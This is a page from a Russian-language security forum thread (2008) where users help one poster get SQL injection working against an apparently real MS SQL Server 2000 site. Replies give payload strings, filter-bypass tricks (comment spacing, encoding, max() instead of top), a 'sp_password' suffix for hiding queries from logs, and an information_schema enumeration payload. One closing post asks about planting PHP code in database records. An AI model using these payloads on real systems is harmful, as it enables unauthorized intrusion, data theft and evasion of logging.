ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
Перезагрузить страницу Ваши вопросы по уязвимостям.
   
Ответ
Страница 421 из 1393 « Первая < 321371411 417 418 419 420 421 422 423 424 425 431471521921 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #4201  
Старый 19.12.2008, 20:12
SHS
Познающий
Регистрация: 04.08.2008
Сообщений: 53
Провел на форуме:
63941

Репутация: 2
По умолчанию
Чего-то мне последнее время кривые инъекции попадаются )))

-1+union+select+1--
Incorrect syntax near '1'.

-1+union+select+null--
Incorrect syntax near the keyword 'null'.

Чего оно хочет? O_o

Order by .. к примеру работает.

И еще -1+or+1=(select+user)-- выводит все верно, а вот если к примеру -1+or+1=(select+xxx+from+xxx)--
Incorrect syntax near the keyword 'from'.
------
Подкиньте пару вариантов как это одолеть ))

З. Ы. Microsoft SQL Server 2000
 
Ответить с цитированием

  #4202  
Старый 19.12.2008, 20:22
aka PSIH
Постоянный
Регистрация: 07.02.2006
Сообщений: 630
Провел на форуме:
12985021

Репутация: 676


По умолчанию
Цитата:
И еще -1+or+1=(select+user)-- выводит все верно, а вот если к примеру -1+or+1=(select+xxx+from+xxx)--
Incorrect syntax near the keyword 'from'.
попробуй так:
(select/**/top/**/1/**/xxx/**/from/**/xxx)--
(select%20top%201%20xxx%20from%20xxx)--

p.s: вообще линк скинь...
 
Ответить с цитированием

  #4203  
Старый 19.12.2008, 20:48
SHS
Познающий
Регистрация: 04.08.2008
Сообщений: 53
Провел на форуме:
63941

Репутация: 2
По умолчанию
Пробовал оба варианта, но ответ на них увы один:
Incorrect syntax near the keyword 'top'.
 
Ответить с цитированием

  #4204  
Старый 19.12.2008, 21:03
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию
Попробуй просто обычные пробелы, без плюсов и слешей
 
Ответить с цитированием

  #4205  
Старый 19.12.2008, 21:14
cash$$$
Banned
Регистрация: 06.01.2008
Сообщений: 413
Провел на форуме:
1301036

Репутация: 1334
Отправить сообщение для cash$$$ с помощью ICQ
По умолчанию
Цитата:
Сообщение от SHS  
Пробовал оба варианта, но ответ на них увы один:
Incorrect syntax near the keyword 'top'.
'top' иногда фильтруется попробуй заменить на max(table_name)
 
Ответить с цитированием

  #4206  
Старый 19.12.2008, 22:20
SHS
Познающий
Регистрация: 04.08.2008
Сообщений: 53
Провел на форуме:
63941

Репутация: 2
По умолчанию
-1+or+1=(select+max(table_name)+from+qwqw)--sp_password
An aggregate may not appear in the WHERE clause unless it is in a subquery contained in a HAVING clause or a select list, and the column being aggregated is an outer reference.
Как его именно юзать? Можно примерчик?
С top разобраться я как понял можно
Но еще кое-что
Incorrect syntax near the keyword 'from'.
 
Ответить с цитированием

  #4207  
Старый 19.12.2008, 22:39
sabe
Постоянный
Регистрация: 16.03.2007
Сообщений: 380
Провел на форуме:
1404552

Репутация: 568
Отправить сообщение для sabe с помощью ICQ Отправить сообщение для sabe с помощью AIM Отправить сообщение для sabe с помощью Yahoo
По умолчанию
SHS
micr. ole?
Цитата:
-1+or+1=(select+top+1+table_name+from+information_s chema.columns+where+column_name+like+('sp_password '))--
 
Ответить с цитированием

  #4208  
Старый 19.12.2008, 22:50
SHS
Познающий
Регистрация: 04.08.2008
Сообщений: 53
Провел на форуме:
63941

Репутация: 2
По умолчанию
Ладно хрен с ним с этим ресурсом. Отложу на время. Видимо там скрипт замысловатый. Угадать какие параметры и где вмазать пока увы не могу. Но по простой схеме инъекций там никак.
 
Ответить с цитированием

  #4209  
Старый 20.12.2008, 00:47
sabe
Постоянный
Регистрация: 16.03.2007
Сообщений: 380
Провел на форуме:
1404552

Репутация: 568
Отправить сообщение для sabe с помощью ICQ Отправить сообщение для sabe с помощью AIM Отправить сообщение для sabe с помощью Yahoo
По умолчанию
в общем друзья такой вопрос по SQL:

мне нужно задать свойство unique первичному ключу в таблице.. инными словами при создании таблицы с помощью оператора create задать первичному ключу свойство unique. как теперь его добавить? )
Последний раз редактировалось sabe; 20.12.2008 в 02:28..
 
Ответить с цитированием

  #4210  
Старый 20.12.2008, 06:54
j0ker13
Участник форума
Регистрация: 28.07.2008
Сообщений: 199
Провел на форуме:
861008

Репутация: 58
По умолчанию
вопрос такой) sql inj я могу выводить данные из базы) могу править данные которые могу потом вывести) если добавить в таблицу запись <?php phpinfo(); ?> а потом вывести ее на страничку то он не выполняется(( а должен?)
 
Ответить с цитированием
Ответ
Страница 421 из 1393 « Первая < 321371411 417 418 419 420 421 422 423 424 425 431471521921 > Последняя »



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Форумы 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ